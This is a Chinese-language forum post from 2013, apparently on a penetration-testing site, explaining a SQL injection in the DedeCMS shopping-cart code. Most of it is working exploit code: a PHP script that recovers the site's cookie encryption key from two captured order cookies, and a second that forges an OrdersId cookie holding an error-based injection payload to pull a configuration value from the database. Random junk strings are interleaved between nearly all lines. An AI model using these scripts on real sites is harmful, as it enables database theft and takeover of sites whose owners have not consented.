中国网络渗透测试联盟
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-13 23:58
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
7 O5 O4 ?4 d# A0 o( a# W+ h
在 include/shopcar.class.php中
" \0 v& e- b; X6 _; J1 ~! U6 ?
先看一下这个shopcar类是如何生成cookie的
4 X q6 w& A$ _! X. U/ L
239 function saveCookie($key,$value)
. |% G- L C) a* A1 C
240 {
, T2 e$ u! S0 U: t) I
241 if(is_array($value))
& w+ L5 {# Z. D/ O: Q
242 {
4 Z r6 N& N1 Z) I: A
243 $value = $this->enCrypt($this->enCode($value));
3 z) P8 `% p! `! F
244 }
/ R6 x! J3 {$ z* q
245 else
9 h0 b- Z/ F# @ C/ g8 s
246 {
4 ~' j9 J6 S a' i* S1 [) O
247 $value = $this->enCrypt($value);
) W: g9 L0 ?) ~# [
248 }
D$ d* B* u Q6 P9 y' b
249 setcookie($key,$value,time()+36000,’/');
2 [/ T7 c1 Y$ J0 Y" {
250 }
5 J E& W, D2 `# x
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
R# |4 f4 Y1 W9 c$ {+ S
186 function enCrypt($txt)
; a6 Z0 L/ v* L0 ]9 e
187 {
- m0 q% W. c0 u$ E- D5 i% S/ q
188 srand((double)microtime() * 1000000);
9 T" O4 J7 S3 d3 n, f% u" `) ^) }
189 $encrypt_key = md5(rand(0, 32000));
, l* X3 j# y7 I9 v
190 $ctr = 0;
6 A) ?+ f6 o# P; _ `! N" _5 K+ U
191 $tmp = ”;
4 F! }$ E9 \6 Q2 y: X
192 for($i = 0; $i < strlen($txt); $i++)
7 a5 f: I& ^& ?
193 {
. P; C7 v' g3 V, t
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- Z3 A/ o/ g( x0 a5 ], v
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
) G# ^6 T: k5 a' g8 x6 `# p" ^4 v
196 }
! D% q4 i3 X7 A2 ]" Y, x
197 return base64_encode($this->setKey($tmp));
" A8 G6 P( R! |( `- `4 Q( K
198 }
" t: j; t7 ?4 \! K7 C+ _
213 function setKey($txt)
$ v" M z$ w |# O! n
214 {
6 R2 E/ ^1 _, P9 {$ \4 d
215 global $cfg_cookie_encode;
, w4 D! H P4 N
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
/ S# w; [4 S. r7 E* D6 `
217 $ctr = 0;
5 b1 b$ Y- i7 ~' f; B- t
218 $tmp = ”;
; D5 T8 k4 [5 `+ @* `
219 for($i = 0; $i < strlen($txt); $i++)
+ z4 E. L) D8 {: E9 m* _
220 {
0 d: Y$ N% X2 [* U
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, p) B1 a- S. E/ y6 b
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
' h; R9 @0 M0 d3 p
223 }
$ B) U6 I( l" C- Z# k. t
224 return $tmp;
0 c5 V7 k% B& V4 V- d' p3 x- c2 _2 |
225 }
# B7 ~0 o* [0 `/ m' X, ?8 ~
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
* [% W: Q0 U, {" b( R
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
; p' _0 }8 v: W8 H8 \# @3 x5 l
具体代码如下:
' U2 C2 C) s$ Q6 k: A$ R
<?php
8 O5 C- w0 E; E$ n0 v
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
6 C! D9 E; E ~! u0 B
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
$ \+ R8 ~# ]2 v3 J# G# u7 k
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
" D* F. n7 N" j/ ~2 p( U
function reStrCode($code,$string)
' E0 l" `* o% `
{
+ _5 z, n* d8 y! v4 s
$code = base64_decode($code);
. h; W- g* y; C2 [6 D
$key = “”;
- z* B9 _! |4 u9 T
for($i=0 ; $i<32 ; $i++)
; z6 V/ e. |; L3 i' q& C
{
; ` `/ z1 b+ p6 D- m; I
$key .= $string[$i] ^ $code[$i];
8 K! j o1 z7 ~5 Y
}
! o4 l5 o2 j+ _ h/ S
return $key;
- e( s) M4 s* {( Z$ b
}
* G; y: f. e% V8 N# G) ?* h
function getKeys($cookie,$plantxt)
2 w1 b$ N# J2 D. r- X9 G
{
, D1 W( ]) r% z% ^
$tmp = $cookie;
* _/ w# n9 U, s3 P( K9 b
$results = array();
: d2 z6 ]* c' L! A3 S5 G
for($j=0 ; $j < 32000; $j++)
- C5 B. s1 y m& n N/ t, [6 e+ \
{
3 c) U; T7 `3 B1 w4 z
, J7 `" A2 I) l
$txt = $plantxt;
- `) W1 I- _% R& O0 e
$ctr = 0;
( V2 A! T1 C6 I+ Q+ s7 t
$tmp = ”;
& P/ \1 e B1 i1 B0 y& h
$encrypt_key = md5($j);
0 l* F. z# W; H9 k
for($i =0; $i < strlen($txt); $i ++)
& t: T7 }) p9 e3 |0 j
{
( p8 Q# Z9 H) M& I& H
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 n% G: _) v2 \( Y, Y$ _
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
! ~; V) W: G" s+ J# r
}
: i( R1 S$ T# B# |. T
$string = $tmp;
4 ]6 h v# _# M5 p4 ?+ S/ N, L
$code = $cookie;
+ W/ z- s) y: Z5 S3 d
$result = reStrCode($code,$string);
8 g$ i0 ^1 k+ n/ k
if(eregi(‘^[a-z0-9]+$’,$result))
; F1 v* ~# M/ @" o! R* _
{
7 F* @! Q2 f! @7 {
echo $result.”\n”;
1 }7 [ G% {7 f, f
$results[] = $result;
1 ~) y# n2 g% k- z" Y
}
0 G4 I# P- N9 v" Y: ]* ~
}
% l# s7 J/ F7 X& a3 {9 t
return $results;
0 ]8 z+ e' N8 Z z" w9 x: {
}
. n# J. `7 f5 G" {- L
$results1 = getKeys($cookie1,$plantxt);
, W' r: M% ]3 [# ?- Z
$results2 = getKeys($cookie2,$plantxt);
' ]- e B; c$ R. E. T# s e$ u
print “\n——————–real key————————–\n”;
$ j8 B( e6 r+ D* _/ G/ i% t$ k
foreach($results1 as $test1)
, `( W X. C/ V! Q b6 {/ `
{
8 u" y$ E' H9 J. Z& }$ `+ `
foreach($results2 as $test2)
7 m! i4 n0 s# J7 {7 z0 `
{
- I W8 A" t. ~: I7 o4 k
if($test1 == $test2)
$ _! @/ [( ?1 \8 D( h3 a
{
: p& X7 N4 X4 k$ |6 {+ x
echo $test1.”\n”;
- Z6 E7 [, o% c0 `& w/ m! `
}
/ e' O; f7 P% X5 ]7 }+ }
}
3 ^0 E2 R l( \& F+ Z" D& F
}
( {# A% N/ A& }3 C9 A0 T& b+ |. m& J
?>
) `# \+ Q& P7 k7 ]3 a
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
& I% i1 q$ |# U4 A! P1 L
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
0 a( {( x" W& v, R; ?# f; B0 w+ s
然后推算出md5(strtolower($cfg_cookie_encode))
" z' ?8 j& \# P6 G
得到这个key之后,我们就可以构造任意购物车的cookie
/ J. D7 x: s; f) b& h
接着看
, E+ k5 _% B2 Q4 |) ]
20 class MemberShops
8 b' P- w# Y+ [8 L3 V
21 {
9 c' F; ~1 o# H
22 var $OrdersId;
0 k) y8 J% G Z" @- o
23 var $productsId;
8 ~& j* ?" A7 {$ l; H2 ]& ?, N
24
w5 M3 ^+ }, K" u% H6 W% r
25 function __construct()
R. x E! P# h5 q" Y# A
26 {
1 g2 Y) R+ T. z2 p+ f9 ~4 f5 f
27 $this->OrdersId = $this->getCookie(“OrdersId”);
9 U z8 }+ s8 x2 p, m
28 if(empty($this->OrdersId))
; k9 A' z) Z5 G" d" e
29 {
3 g- J5 s) O( Z, d" G Y
30 $this->OrdersId = $this->MakeOrders();
% ]" f# s2 v6 {) t
31 }
, Z5 X: h8 u$ Q; a5 z6 { ~5 J
32 }
6 S8 F3 Z9 U( {& X _7 h7 @( H
发现OrderId是从cookie里面获取的
. D# W+ Q' e( e( D9 ^
然后
9 v! m& \4 u( A9 e
/plus/carbuyaction.php中的
% A( t) A6 ^) {: N$ }2 N
29 $cart = new MemberShops();
/ d# R1 j: N w& j% m" }: |
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
1 v2 b: \& n8 M. b2 L( g% K& i# Z
……
! Y* l; ]" a0 ^8 z$ D
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
7 J. @" Z v2 `1 I8 y6 u
接着我们就可以注入了
) y' P8 |0 c& K, Z% Y/ ?/ S
通过利用下面代码生成cookie:
q. S& {' R$ e
<?php
* l% w& }4 C0 q5 f) I8 L
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
6 L+ A7 T) p- S. O7 v; K( Y7 n9 R3 U
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
6 N7 _+ c+ l" a! a9 K
function setKey($txt)
5 I% g4 L! f, _- c! ]7 W, u. E+ ?
{
' T! ? l v9 c* L: c/ T3 e
global $encrypt_key;
4 m' z1 z% r% {. ~* ?% C; t2 [
$ctr = 0;
c( y+ v: }% n9 ^. V
$tmp = ”;
# p1 M8 ]7 x+ u5 r5 N1 x
for($i = 0; $i < strlen($txt); $i++)
6 v5 u# }* x" v3 r# x/ x. I% e7 d, D2 Q3 v
{
$ [. ?' o- I$ d/ Y3 G
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# N" P3 I$ g% B4 T: g$ b p
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
* z- F* p+ ~- Y" Y3 H
}
3 W- u2 [7 A/ u0 i7 X0 s
return $tmp;
3 n' i9 H- k& D
}
4 j3 q \/ F1 M" m) f$ M5 G
function enCrypt($txt)
0 W$ }2 R0 h7 E, B( ~' U0 y9 w6 v
{
+ [4 C- ~$ C! b9 ]' y
srand((double)microtime() * 1000000);
7 X; D8 j1 d6 R( v4 [, p
$encrypt_key = md5(rand(0, 32000));
- X8 o4 E8 h! @' w6 F% I0 o
$ctr = 0;
* Y; X4 j5 g8 t+ n
$tmp = ”;
3 l% O9 u0 E$ T& K* \' ~5 c* h
for($i = 0; $i < strlen($txt); $i++)
0 B" j" V% @: P. j
{
% m: i2 z3 W% u/ X: Y' \& h! G* Q+ T/ s
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ P/ y, Q; P" X) @7 _7 c8 s1 M/ r
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
$ f8 d8 {7 M2 s' h4 m5 G
}
9 v' _) j+ h: q4 W8 a
return base64_encode(setKey($tmp));
0 P- u2 [7 ?/ @- p0 k! v
}
$ D8 @. n" B( R/ T$ s: h& k7 ]
for($dest =0;$dest = enCrypt($txt);)
3 W5 G' h+ |! i: x- u
{
" v) A/ X/ |& b& r0 j5 K
if(!strpos($dest,’+'))
% z* D7 R9 e# e$ E- I1 b0 k* w
{
, p1 S* [( ~1 K: w4 u' D W' a
break;
G4 A. O6 L: E5 C4 V
}
' m* T) S( ^0 m" z8 [9 c1 G+ _
}
$ N. d, M5 R$ i3 P' |* `; ]
echo $dest.”\n”;
* i! f1 j0 N* X, w0 K
?>
2 L6 M* r; A4 S
9 Z3 e7 ^- A- a4 a0 P5 G/ Q& J, _
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2